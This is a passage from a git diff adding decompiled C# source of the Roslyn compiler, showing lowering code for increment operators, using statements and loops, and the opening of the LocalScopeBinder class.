BoundDefaultExpression(syntax, operand.Type); + return RewriteConditionalOperator(syntax, rewrittenCondition, rewrittenConsequence, rewrittenAlternative, null, operand.Type, isRef: false); + } + + private BoundExpression MakeRValue(BoundExpression transformedExpression) + { + switch (transformedExpression.Kind) + { + case BoundKind.PropertyAccess: + { + BoundPropertyAccess boundPropertyAccess = (BoundPropertyAccess)transformedExpression; + return MakePropertyGetAccess(transformedExpression.Syntax, boundPropertyAccess.ReceiverOpt, boundPropertyAccess.PropertySymbol, boundPropertyAccess); + } + case BoundKind.DynamicMemberAccess: + { + BoundDynamicMemberAccess boundDynamicMemberAccess = (BoundDynamicMemberAccess)transformedExpression; + return _dynamicFactory.MakeDynamicGetMember(boundDynamicMemberAccess.Receiver, boundDynamicMemberAccess.Name, resultIndexed: false).ToExpression(); + } + case BoundKind.IndexerAccess: + { + BoundIndexerAccess boundIndexerAccess = (BoundIndexerAccess)transformedExpression; + return MakePropertyGetAccess(transformedExpression.Syntax, boundIndexerAccess.ReceiverOpt, boundIndexerAccess.Indexer, boundIndexerAccess.Arguments, boundIndexerAccess.ArgumentRefKindsOpt); + } + case BoundKind.DynamicIndexerAccess: + { + BoundDynamicIndexerAccess boundDynamicIndexerAccess = (BoundDynamicIndexerAccess)transformedExpression; + return MakeDynamicGetIndex(boundDynamicIndexerAccess, boundDynamicIndexerAccess.Receiver, boundDynamicIndexerAccess.Arguments, boundDynamicIndexerAccess.ArgumentNamesOpt, boundDynamicIndexerAccess.ArgumentRefKindsOpt); + } + default: + return transformedExpression; + } + } + + private TypeSymbol GetUnaryOperatorType(BoundIncrementOperator node) + { + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + //IL_00c4: Unknown result type (might be due to invalid IL or missing references) + //IL_00c9: Unknown result type (might be due to invalid IL or missing references) + //IL_00e5: Unknown result type (might be due to invalid IL or missing references) + UnaryOperatorKind unaryOperatorKind = node.OperatorKind.OperandTypes(); + SpecialType specialType; + switch (unaryOperatorKind) + { + case UnaryOperatorKind.Enum: + return node.Type; + case UnaryOperatorKind.Int: + specialType = (SpecialType)13; + break; + case UnaryOperatorKind.SByte: + specialType = (SpecialType)9; + break; + case UnaryOperatorKind.Short: + specialType = (SpecialType)11; + break; + case UnaryOperatorKind.Byte: + specialType = (SpecialType)10; + break; + case UnaryOperatorKind.UShort: + specialType = (SpecialType)12; + break; + case UnaryOperatorKind.Char: + specialType = (SpecialType)8; + break; + case UnaryOperatorKind.UInt: + specialType = (SpecialType)14; + break; + case UnaryOperatorKind.Long: + specialType = (SpecialType)15; + break; + case UnaryOperatorKind.ULong: + specialType = (SpecialType)16; + break; + case UnaryOperatorKind.NInt: + specialType = (SpecialType)21; + break; + case UnaryOperatorKind.NUInt: + specialType = (SpecialType)22; + break; + case UnaryOperatorKind.Float: + specialType = (SpecialType)18; + break; + case UnaryOperatorKind.Double: + specialType = (SpecialType)19; + break; + case UnaryOperatorKind.Decimal: + specialType = (SpecialType)17; + break; + case UnaryOperatorKind.Pointer: + return node.Type; + default: + throw ExceptionUtilities.UnexpectedValue((object)unaryOperatorKind); + } + NamedTypeSymbol namedTypeSymbol = _compilation.GetSpecialType(specialType); + if (node.OperatorKind.IsLifted()) + { + namedTypeSymbol = _compilation.GetSpecialType((SpecialType)32).Construct(namedTypeSymbol); + } + return namedTypeSymbol; + } + + private static BinaryOperatorKind GetCorrespondingBinaryOperator(BoundIncrementOperator node) + { + //IL_00e5: Unknown result type (might be due to invalid IL or missing references) + //IL_00ea: Unknown result type (might be due to invalid IL or missing references) + //IL_00ec: Unknown result type (might be due to invalid IL or missing references) + //IL_00f0: Unknown result type (might be due to invalid IL or missing references) + //IL_0116: Expected I4, but got Unknown + //IL_0129: Unknown result type (might be due to invalid IL or missing references) + UnaryOperatorKind operatorKind = node.OperatorKind; + BinaryOperatorKind binaryOperatorKind; + switch (operatorKind.OperandTypes()) + { + case UnaryOperatorKind.SByte: + case UnaryOperatorKind.Short: + case UnaryOperatorKind.Int: + binaryOperatorKind = BinaryOperatorKind.Int; + break; + case UnaryOperatorKind.Byte: + case UnaryOperatorKind.UShort: + case UnaryOperatorKind.UInt: + case UnaryOperatorKind.Char: + binaryOperatorKind = BinaryOperatorKind.UInt; + break; + case UnaryOperatorKind.Long: + binaryOperatorKind = BinaryOperatorKind.Long; + break; + case UnaryOperatorKind.ULong: + binaryOperatorKind = BinaryOperatorKind.ULong; + break; + case UnaryOperatorKind.NInt: + binaryOperatorKind = BinaryOperatorKind.NInt; + break; + case UnaryOperatorKind.NUInt: + binaryOperatorKind = BinaryOperatorKind.NUInt; + break; + case UnaryOperatorKind.Float: + binaryOperatorKind = BinaryOperatorKind.Float; + break; + case UnaryOperatorKind.Double: + binaryOperatorKind = BinaryOperatorKind.Double; + break; + case UnaryOperatorKind.Decimal: + binaryOperatorKind = BinaryOperatorKind.Decimal; + break; + case UnaryOperatorKind.Enum: + { + TypeSymbol type = node.Type; + if (type.IsNullableType()) + { + type = type.GetNullableUnderlyingType(); + } + type = type.GetEnumUnderlyingType(); + SpecialType specialType = type.SpecialType; + switch (specialType - 9) + { + case 0: + case 2: + case 4: + binaryOperatorKind = BinaryOperatorKind.Int; + break; + case 1: + case 3: + case 5: + binaryOperatorKind = BinaryOperatorKind.UInt; + break; + case 6: + binaryOperatorKind = BinaryOperatorKind.Long; + break; + case 7: + binaryOperatorKind = BinaryOperatorKind.ULong; + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)type.SpecialType); + } + break; + } + case UnaryOperatorKind.Pointer: + binaryOperatorKind = BinaryOperatorKind.PointerAndInt; + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)operatorKind.OperandTypes()); + } + if ((uint)(binaryOperatorKind - 5) <= 5u || binaryOperatorKind == BinaryOperatorKind.PointerAndInt) + { + binaryOperatorKind = (BinaryOperatorKind)((int)binaryOperatorKind | (int)operatorKind.OverflowChecks()); + } + if (operatorKind.IsLifted()) + { + binaryOperatorKind |= BinaryOperatorKind.Lifted; + } + return binaryOperatorKind; + } + + private static (TypeSymbol, ConstantValue) GetConstantOneForIncrement(CSharpCompilation compilation, BinaryOperatorKind binaryOperatorKind) + { + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + ConstantValue val; + switch (binaryOperatorKind.OperandTypes()) + { + case BinaryOperatorKind.Int: + case BinaryOperatorKind.PointerAndInt: + val = ConstantValue.Create(1); + break; + case BinaryOperatorKind.UInt: + val = ConstantValue.Create(1u); + break; + case BinaryOperatorKind.Long: + val = ConstantValue.Create(1L); + break; + case BinaryOperatorKind.ULong: + val = ConstantValue.Create(1uL); + break; + case BinaryOperatorKind.NInt: + val = ConstantValue.Create(1); + return (compilation.CreateNativeIntegerTypeSymbol(signed: true), val); + case BinaryOperatorKind.NUInt: + val = ConstantValue.Create(1u); + return (compilation.CreateNativeIntegerTypeSymbol(signed: false), val); + case BinaryOperatorKind.Float: + val = ConstantValue.Create(1f); + break; + case BinaryOperatorKind.Double: + val = ConstantValue.Create(1.0); + break; + case BinaryOperatorKind.Decimal: + val = ConstantValue.Create(1m); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)binaryOperatorKind.OperandTypes()); + } + return (compilation.GetSpecialType(val.SpecialType), val); + } + + public override BoundNode VisitUsingStatement(BoundUsingStatement node) + { + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + BoundStatement boundStatement = VisitStatement(node.Body); + BoundBlock boundBlock = ((boundStatement.Kind == BoundKind.Block) ? ((BoundBlock)boundStatement) : BoundBlock.SynthesizedNoLocals(node.Syntax, boundStatement)); + if (node.ExpressionOpt != null) + { + return MakeExpressionUsingStatement(node, boundBlock); + } + SyntaxToken awaitKeyword = (SyntaxToken)((node.Syntax.Kind() == SyntaxKind.UsingStatement) ? ((UsingStatementSyntax)(object)node.Syntax).AwaitKeyword : default(SyntaxToken)); + return MakeDeclarationUsingStatement(node.Syntax, boundBlock, node.Locals, node.DeclarationsOpt.LocalDeclarations, node.PatternDisposeInfoOpt, node.AwaitOpt, awaitKeyword); + } + + private BoundStatement MakeDeclarationUsingStatement(SyntaxNode syntax, BoundBlock body, ImmutableArray locals, ImmutableArray declarations, MethodArgumentInfo? patternDisposeInfo, BoundAwaitableInfo? awaitOpt, SyntaxToken awaitKeyword) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + BoundBlock boundBlock = body; + for (int num = declarations.Length - 1; num >= 0; num--) + { + boundBlock = RewriteDeclarationUsingStatement(syntax, declarations[num], boundBlock, awaitKeyword, awaitOpt, patternDisposeInfo); + } + return new BoundBlock(syntax, locals, ImmutableArray.Create((BoundStatement)boundBlock)); + } + + private BoundStatement MakeLocalUsingDeclarationStatement(BoundUsingLocalDeclarations usingDeclarations, ImmutableArray statements) + { + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + LocalDeclarationStatementSyntax localDeclarationStatementSyntax = (LocalDeclarationStatementSyntax)(object)usingDeclarations.Syntax; + BoundBlock body = new BoundBlock((SyntaxNode)(object)localDeclarationStatementSyntax, ImmutableArray.Empty, statements); + return MakeDeclarationUsingStatement((SyntaxNode)(object)localDeclarationStatementSyntax, body, ImmutableArray.Empty, usingDeclarations.LocalDeclarations, usingDeclarations.PatternDisposeInfoOpt, usingDeclarations.AwaitOpt, localDeclarationStatementSyntax.AwaitKeyword); + } + + private BoundBlock MakeExpressionUsingStatement(BoundUsingStatement node, BoundBlock tryBlock) + { + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + BoundExpression boundExpression = VisitExpression(node.ExpressionOpt); + if (boundExpression.ConstantValueOpt == ConstantValue.Null) + { + return tryBlock; + } + TypeSymbol? type = boundExpression.Type; + SyntaxNode syntax = boundExpression.Syntax; + UsingStatementSyntax usingStatementSyntax = (UsingStatementSyntax)(object)node.Syntax; + BoundLocal boundLocal; + BoundAssignmentOperator store; + if (type.IsDynamic()) + { + TypeSymbol typeSymbol = ((node.AwaitOpt == null) ? _compilation.GetSpecialType((SpecialType)35) : _compilation.GetWellKnownType((WellKnownType)287)); + _diagnostics.ReportUseSite(typeSymbol, (SyntaxNode)(object)usingStatementSyntax); + BoundExpression argument = MakeConversionNode(syntax, boundExpression, Conversion.ImplicitDynamic, typeSymbol, @checked: false, explicitCastInCode: false, boundExpression.ConstantValueOpt); + boundLocal = _factory.StoreToTemp(argument, out store, (RefKind)0, (SynthesizedLocalKind)4); + } + else + { + boundLocal = _factory.StoreToTemp(boundExpression, out store, (RefKind)0, (SynthesizedLocalKind)4, isKnownToReferToTempIfReferenceType: false, (SyntaxNode?)(object)usingStatementSyntax); + } + BoundStatement boundStatement = new BoundExpressionStatement(syntax, store); + if (Instrument) + { + boundStatement = Instrumenter.InstrumentUsingTargetCapture(node, boundStatement); + } + BoundStatement item = RewriteUsingStatementTryFinally((SyntaxNode)(object)usingStatementSyntax, (SyntaxNode)(object)usingStatementSyntax, tryBlock, boundLocal, usingStatementSyntax.AwaitKeyword, node.AwaitOpt, node.PatternDisposeInfoOpt); + return new BoundBlock((SyntaxNode)(object)usingStatementSyntax, node.Locals.Add(boundLocal.LocalSymbol), ImmutableArray.Create(boundStatement, item)); + } + + private BoundBlock RewriteDeclarationUsingStatement(SyntaxNode usingSyntax, BoundLocalDeclaration localDeclaration, BoundBlock tryBlock, SyntaxToken awaitKeywordOpt, BoundAwaitableInfo? awaitOpt, MethodArgumentInfo? patternDisposeInfo) + { + //IL_0101: Unknown result type (might be due to invalid IL or missing references) + //IL_00c9: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode syntax = localDeclaration.Syntax; + LocalSymbol localSymbol = localDeclaration.LocalSymbol; + TypeSymbol type = localSymbol.Type; + BoundLocal boundLocal = new BoundLocal(syntax, localSymbol, localDeclaration.InitializerOpt.ConstantValueOpt, type); + BoundStatement boundStatement = VisitStatement(localDeclaration); + if (boundLocal.ConstantValueOpt == ConstantValue.Null) + { + return BoundBlock.SynthesizedNoLocals(syntax, boundStatement, tryBlock); + } + if (type.IsDynamic()) + { + TypeSymbol typeSymbol = ((awaitOpt == null) ? _compilation.GetSpecialType((SpecialType)35) : _compilation.GetWellKnownType((WellKnownType)287)); + _diagnostics.ReportUseSite(typeSymbol, usingSyntax); + BoundExpression argument = MakeConversionNode(syntax, boundLocal, Conversion.ImplicitDynamic, typeSymbol, @checked: false); + BoundAssignmentOperator store; + BoundLocal boundLocal2 = _factory.StoreToTemp(argument, out store, (RefKind)0, (SynthesizedLocalKind)4); + BoundStatement item = RewriteUsingStatementTryFinally(usingSyntax, syntax, tryBlock, boundLocal2, awaitKeywordOpt, awaitOpt, patternDisposeInfo); + return new BoundBlock(syntax, ImmutableArray.Create(boundLocal2.LocalSymbol), ImmutableArray.Create(boundStatement, new BoundExpressionStatement(syntax, store), item)); + } + BoundStatement boundStatement2 = RewriteUsingStatementTryFinally(usingSyntax, syntax, tryBlock, boundLocal, awaitKeywordOpt, awaitOpt, patternDisposeInfo); + return BoundBlock.SynthesizedNoLocals(syntax, boundStatement, boundStatement2); + } + + private BoundStatement RewriteUsingStatementTryFinally(SyntaxNode resourceTypeSyntax, SyntaxNode resourceSyntax, BoundBlock tryBlock, BoundLocal local, SyntaxToken awaitKeywordOpt, BoundAwaitableInfo? awaitOpt, MethodArgumentInfo? patternDisposeInfo) + { + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + bool num = local.Type.IsNullableType(); + BoundExpression disposedExpression; + if (num) + { + MethodSymbol method = UnsafeGetNullableMethod(resourceTypeSyntax, local.Type, (SpecialMember)114); + disposedExpression = BoundCall.Synthesized(resourceSyntax, local, (ThreeState)0, method); + } + else + { + disposedExpression = local; + } + BoundExpression expression = GenerateDisposeCall(resourceTypeSyntax, resourceSyntax, disposedExpression, patternDisposeInfo, awaitOpt, awaitKeywordOpt); + BoundStatement boundStatement = new BoundExpressionStatement(resourceSyntax, expression); + BoundExpression boundExpression = (num ? _factory.MakeNullableHasValue(resourceSyntax, local) : ((!local.Type.IsValueType) ? _factory.MakeNullCheck(resourceSyntax, local, BinaryOperatorKind.NotEqual) : null)); + return new BoundTryStatement(finallyBlockOpt: BoundBlock.SynthesizedNoLocals(resourceSyntax, (boundExpression != null) ? RewriteIfStatement(resourceSyntax, boundExpression, boundStatement, null, hasErrors: false) : boundStatement), syntax: resourceSyntax, tryBlock: tryBlock, catchBlocks: ImmutableArray.Empty); + } + + private BoundExpression GenerateDisposeCall(SyntaxNode resourceTypeSyntax, SyntaxNode resourceSyntax, BoundExpression disposedExpression, MethodArgumentInfo? disposeInfo, BoundAwaitableInfo? awaitOpt, SyntaxToken awaitKeyword) + { + MethodSymbol symbol = disposeInfo?.Method; + if ((object)symbol == null) + { + if (awaitOpt == null) + { + Binder.TryGetSpecialTypeMember(_compilation, (SpecialMember)92, resourceTypeSyntax, _diagnostics, out symbol); + } + else + { + TryGetWellKnownTypeMember(null, (WellKnownMember)426, out symbol, isOptional: false, ((SyntaxToken)(ref awaitKeyword)).GetLocation()); + } + } + BoundExpression boundExpression; + if ((object)symbol == null) + { + boundExpression = new BoundBadExpression(resourceSyntax, LookupResultKind.NotInvocable, ImmutableArray.Empty, ImmutableArray.Create(disposedExpression), ErrorTypeSymbol.UnknownResultType); + } + else + { + if ((object)disposeInfo == null) + { + disposeInfo = MethodArgumentInfo.CreateParameterlessMethod(symbol); + } + boundExpression = MakeCallWithNoExplicitArgument(disposeInfo, resourceSyntax, disposedExpression); + if (awaitOpt != null) + { + _sawAwaitInExceptionHandler = true; + TypeSymbol type = awaitOpt.GetResult?.ReturnType ?? _compilation.DynamicType; + boundExpression = RewriteAwaitExpression(resourceSyntax, boundExpression, awaitOpt, type, default(BoundAwaitExpressionDebugInfo), used: false); + } + } + return boundExpression; + } + + private BoundExpression MakeCallWithNoExplicitArgument(MethodArgumentInfo methodArgumentInfo, SyntaxNode syntax, BoundExpression? expression, bool assertParametersAreOptional = true) + { + MethodSymbol method = methodArgumentInfo.Method; + return MakeArgumentsAndCall(syntax, expression, method, methodArgumentInfo.Arguments, default(ImmutableArray), methodArgumentInfo.Expanded, method.IsExtensionMethod, methodArgumentInfo.ArgsToParamsOpt, LookupResultKind.Viable, method.ReturnType, null); + } + + public override BoundNode VisitWhileStatement(BoundWhileStatement node) + { + BoundExpression rewrittenCondition = VisitExpression(node.Condition); + BoundStatement rewrittenBody = VisitStatement(node.Body); + if (!node.WasCompilerGenerated && Instrument) + { + rewrittenCondition = Instrumenter.InstrumentWhileStatementCondition(node, rewrittenCondition, _factory); + } + return RewriteWhileStatement(node, node.Locals, rewrittenCondition, rewrittenBody, node.BreakLabel, node.ContinueLabel, node.HasErrors); + } + + private BoundStatement RewriteWhileStatement(BoundNode loop, BoundExpression rewrittenCondition, BoundStatement rewrittenBody, GeneratedLabelSymbol breakLabel, GeneratedLabelSymbol continueLabel, bool hasErrors) + { + SyntaxNode syntax = loop.Syntax; + GeneratedLabelSymbol label = new GeneratedLabelSymbol("start"); + BoundStatement boundStatement = new BoundConditionalGoto(rewrittenCondition.Syntax, rewrittenCondition, jumpIfTrue: true, label); + BoundStatement boundStatement2 = new BoundGotoStatement(syntax, continueLabel); + if (Instrument && !loop.WasCompilerGenerated) + { + switch (loop.Kind) + { + case BoundKind.WhileStatement: + boundStatement = Instrumenter.InstrumentWhileStatementConditionalGotoStartOrBreak((BoundWhileStatement)loop, boundStatement); + break; + case BoundKind.ForEachStatement: + boundStatement = Instrumenter.InstrumentForEachStatementConditionalGotoStart((BoundForEachStatement)loop, boundStatement); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)loop.Kind); + case BoundKind.CollectionExpressionSpreadElement: + break; + } + boundStatement2 = BoundSequencePoint.CreateHidden(boundStatement2); + } + return BoundStatementList.Synthesized(syntax, hasErrors, boundStatement2, new BoundLabelStatement(syntax, label), rewrittenBody, new BoundLabelStatement(syntax, continueLabel), boundStatement, new BoundLabelStatement(syntax, breakLabel)); + } + + private BoundStatement RewriteWhileStatement(BoundWhileStatement loop, ImmutableArray locals, BoundExpression rewrittenCondition, BoundStatement rewrittenBody, GeneratedLabelSymbol breakLabel, GeneratedLabelSymbol continueLabel, bool hasErrors) + { + if (locals.IsEmpty) + { + return RewriteWhileStatement(loop, rewrittenCondition, rewrittenBody, breakLabel, continueLabel, hasErrors); + } + SyntaxNode syntax = loop.Syntax; + BoundStatement boundStatement = new BoundLabelStatement(syntax, continueLabel); + BoundStatement boundStatement2 = new BoundConditionalGoto(rewrittenCondition.Syntax, rewrittenCondition, jumpIfTrue: false, breakLabel); + if (Instrument && !loop.WasCompilerGenerated) + { + boundStatement2 = Instrumenter.InstrumentWhileStatementConditionalGotoStartOrBreak(loop, boundStatement2); + boundStatement = BoundSequencePoint.CreateHidden(boundStatement); + } + return BoundStatementList.Synthesized(syntax, hasErrors, boundStatement, new BoundBlock(syntax, locals, ImmutableArray.Create(boundStatement2, rewrittenBody, new BoundGotoStatement(syntax, continueLabel))), new BoundLabelStatement(syntax, breakLabel)); + } + + public override BoundNode VisitYieldBreakStatement(BoundYieldBreakStatement node) + { + BoundStatement boundStatement = (BoundStatement)base.VisitYieldBreakStatement(node); + if (Instrument) + { + if (!node.WasCompilerGenerated) + { + goto IL_004b; + } + if (node.Syntax.Kind() == SyntaxKind.Block) + { + MethodSymbol? currentFunction = _factory.CurrentFunction; + if ((object)currentFunction != null && !currentFunction.IsAsync) + { + goto IL_004b; + } + } + } + goto IL_0059; + IL_004b: + boundStatement = Instrumenter.InstrumentYieldBreakStatement(node, boundStatement); + goto IL_0059; + IL_0059: + return boundStatement; + } + + public override BoundNode VisitYieldReturnStatement(BoundYieldReturnStatement node) + { + BoundStatement boundStatement = (BoundStatement)base.VisitYieldReturnStatement(node); + if (Instrument && !node.WasCompilerGenerated) + { + boundStatement = Instrumenter.InstrumentYieldReturnStatement(node, boundStatement); + } + return boundStatement; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LocalScopeBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LocalScopeBinder.cs new file mode 100644 index 0000000..b7964d9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LocalScopeBinder.cs @@ -0,0 +1,554 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class LocalScopeBinder : Binder +{ + protected const int DefaultLocalSymbolArrayCapacity = 16; + + private ImmutableArray _locals; + + private ImmutableArray _localFunctions; + + private ImmutableArray _labels; + + private SmallDictionary _lazyLocalsMap; + + private SmallDictionary _lazyLocalFunctionsMap; + + private SmallDictionary _lazyLabelsMap; + + internal sealed override ImmutableArray Locals + { + get + { + if (_locals.IsDefault) + { + ImmutableInterlocked.InterlockedCompareExchange(ref _locals, BuildLocals(), default(ImmutableArray)); + } + return _locals; + } + } + + internal sealed override ImmutableArray LocalFunctions + { + get + { + if (_localFunctions.IsDefault) + { + ImmutableInterlocked.InterlockedCompareExchange(ref _localFunctions, BuildLocalFunctions(), default(ImmutableArray)); + } + return _localFunctions; + } + } + + internal sealed override ImmutableArray Labels + { + get + { + if (_labels.IsDefault) + { + ImmutableInterlocked.InterlockedCompareExchange(ref _labels, BuildLabels(), default(ImmutableArray)); + } + return _labels; + } + } + + private SmallDictionary LocalsMap + { + get + { + if (_lazyLocalsMap == null && Locals.Length > 0) + { + _lazyLocalsMap = BuildMap(Locals); + } + return _lazyLocalsMap; + } + } + + private SmallDictionary LocalFunctionsMap + { + get + { + if (_lazyLocalFunctionsMap == null && LocalFunctions.Length > 0) + { + _lazyLocalFunctionsMap = BuildMap(LocalFunctions); + } + return _lazyLocalFunctionsMap; + } + } + + private SmallDictionary LabelsMap + { + get + { + if (_lazyLabelsMap == null && Labels.Length > 0) + { + _lazyLabelsMap = BuildMap(Labels); + } + return _lazyLabelsMap; + } + } + + internal LocalScopeBinder(Binder next) + : this(next, next.Flags) + { + } + + internal LocalScopeBinder(Binder next, BinderFlags flags) + : base(next, flags) + { + } + + protected virtual ImmutableArray BuildLocals() + { + return ImmutableArray.Empty; + } + + protected virtual ImmutableArray BuildLocalFunctions() + { + return ImmutableArray.Empty; + } + + protected virtual ImmutableArray BuildLabels() + { + return ImmutableArray.Empty; + } + + private static SmallDictionary BuildMap(ImmutableArray array) where TSymbol : Symbol + { + SmallDictionary val = new SmallDictionary(); + for (int num = array.Length - 1; num >= 0; num--) + { + TSymbol val2 = array[num]; + val[val2.Name] = val2; + } + return val; + } + + protected ImmutableArray BuildLocals(SyntaxList statements, Binder enclosingBinder) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(16); + Enumerator enumerator = statements.GetEnumerator(); + while (enumerator.MoveNext()) + { + StatementSyntax current = enumerator.Current; + BuildLocals(enclosingBinder, current, instance); + } + return instance.ToImmutableAndFree(); + } + + internal void BuildLocals(Binder enclosingBinder, StatementSyntax statement, ArrayBuilder locals) + { + //IL_0187: Unknown result type (might be due to invalid IL or missing references) + //IL_018c: Unknown result type (might be due to invalid IL or missing references) + //IL_0190: Unknown result type (might be due to invalid IL or missing references) + //IL_0195: Unknown result type (might be due to invalid IL or missing references) + //IL_00f7: Unknown result type (might be due to invalid IL or missing references) + //IL_00fe: Unknown result type (might be due to invalid IL or missing references) + //IL_0104: Unknown result type (might be due to invalid IL or missing references) + //IL_011c: Unknown result type (might be due to invalid IL or missing references) + //IL_0121: Unknown result type (might be due to invalid IL or missing references) + //IL_0125: Unknown result type (might be due to invalid IL or missing references) + //IL_012a: Unknown result type (might be due to invalid IL or missing references) + //IL_01e7: Unknown result type (might be due to invalid IL or missing references) + //IL_01ec: Unknown result type (might be due to invalid IL or missing references) + //IL_01f0: Unknown result type (might be due to invalid IL or missing references) + //IL_01f5: Unknown result type (might be due to invalid IL or missing references) + //IL_0200: Unknown result type (might be due to invalid IL or missing references) + //IL_0205: Unknown result type (might be due to invalid IL or missing references) + //IL_0209: Unknown result type (might be due to invalid IL or missing references) + //IL_020e: Unknown result type (might be due to invalid IL or missing references) + StatementSyntax statementSyntax = statement; + while (statementSyntax.Kind() == SyntaxKind.LabeledStatement) + { + statementSyntax = ((LabeledStatementSyntax)statementSyntax).Statement; + } + switch (statementSyntax.Kind()) + { + case SyntaxKind.LocalDeclarationStatement: + { + Binder binder2 = enclosingBinder.GetBinder((SyntaxNode)(object)statementSyntax) ?? enclosingBinder; + LocalDeclarationStatementSyntax localDeclarationStatementSyntax = (LocalDeclarationStatementSyntax)statementSyntax; + localDeclarationStatementSyntax.Declaration.Type.VisitRankSpecifiers(delegate(ArrayRankSpecifierSyntax rankSpecifier, (LocalScopeBinder localScopeBinder, ArrayBuilder locals, Binder localDeclarationBinder) args) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator5 = rankSpecifier.Sizes.GetEnumerator(); + while (enumerator5.MoveNext()) + { + findExpressionVariablesInRankSpecifier(enumerator5.Current, args); + } + }, (this, locals, binder2)); + LocalDeclarationKind kind = (localDeclarationStatementSyntax.IsConst ? LocalDeclarationKind.Constant : ((!(localDeclarationStatementSyntax.UsingKeyword != default(SyntaxToken))) ? LocalDeclarationKind.RegularVariable : LocalDeclarationKind.UsingVariable)); + Enumerator enumerator4 = localDeclarationStatementSyntax.Declaration.Variables.GetEnumerator(); + while (enumerator4.MoveNext()) + { + VariableDeclaratorSyntax current = enumerator4.Current; + SourceLocalSymbol sourceLocalSymbol = MakeLocal(localDeclarationStatementSyntax.Declaration, current, kind, allowScoped: true, binder2); + locals.Add((LocalSymbol)sourceLocalSymbol); + ExpressionVariableFinder.FindExpressionVariables(this, locals, current, binder2); + } + break; + } + case SyntaxKind.LocalFunctionStatement: + { + Binder item = enclosingBinder.GetBinder((SyntaxNode)(object)statementSyntax) ?? enclosingBinder; + LocalFunctionStatementSyntax localFunctionStatementSyntax = (LocalFunctionStatementSyntax)statementSyntax; + Enumerator enumerator = localFunctionStatementSyntax.ParameterList.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.Type?.VisitRankSpecifiers(delegate(ArrayRankSpecifierSyntax rankSpecifier, (LocalScopeBinder localScopeBinder, ArrayBuilder locals, Binder localDeclarationBinder) args) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator5 = rankSpecifier.Sizes.GetEnumerator(); + while (enumerator5.MoveNext()) + { + findExpressionVariablesInRankSpecifier(enumerator5.Current, args); + } + }, (this, locals, item)); + } + Enumerator enumerator2 = localFunctionStatementSyntax.ConstraintClauses.GetEnumerator(); + while (enumerator2.MoveNext()) + { + Enumerator enumerator3 = enumerator2.Current.Constraints.GetEnumerator(); + while (enumerator3.MoveNext()) + { + if (!(enumerator3.Current is TypeConstraintSyntax typeConstraintSyntax)) + { + continue; + } + typeConstraintSyntax.Type.VisitRankSpecifiers(delegate(ArrayRankSpecifierSyntax rankSpecifier, (LocalScopeBinder localScopeBinder, ArrayBuilder locals, Binder localDeclarationBinder) args) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator5 = rankSpecifier.Sizes.GetEnumerator(); + while (enumerator5.MoveNext()) + { + findExpressionVariablesInRankSpecifier(enumerator5.Current, args); + } + }, (this, locals, item)); + } + } + break; + } + case SyntaxKind.ExpressionStatement: + case SyntaxKind.GotoCaseStatement: + case SyntaxKind.ReturnStatement: + case SyntaxKind.YieldReturnStatement: + case SyntaxKind.ThrowStatement: + case SyntaxKind.IfStatement: + ExpressionVariableFinder.FindExpressionVariables(this, locals, statementSyntax, enclosingBinder.GetBinder((SyntaxNode)(object)statementSyntax) ?? enclosingBinder); + break; + case SyntaxKind.SwitchStatement: + { + SwitchStatementSyntax switchStatementSyntax = (SwitchStatementSyntax)statementSyntax; + ExpressionVariableFinder.FindExpressionVariables(this, locals, statementSyntax, enclosingBinder.GetBinder((SyntaxNode)(object)switchStatementSyntax.Expression) ?? enclosingBinder); + break; + } + case 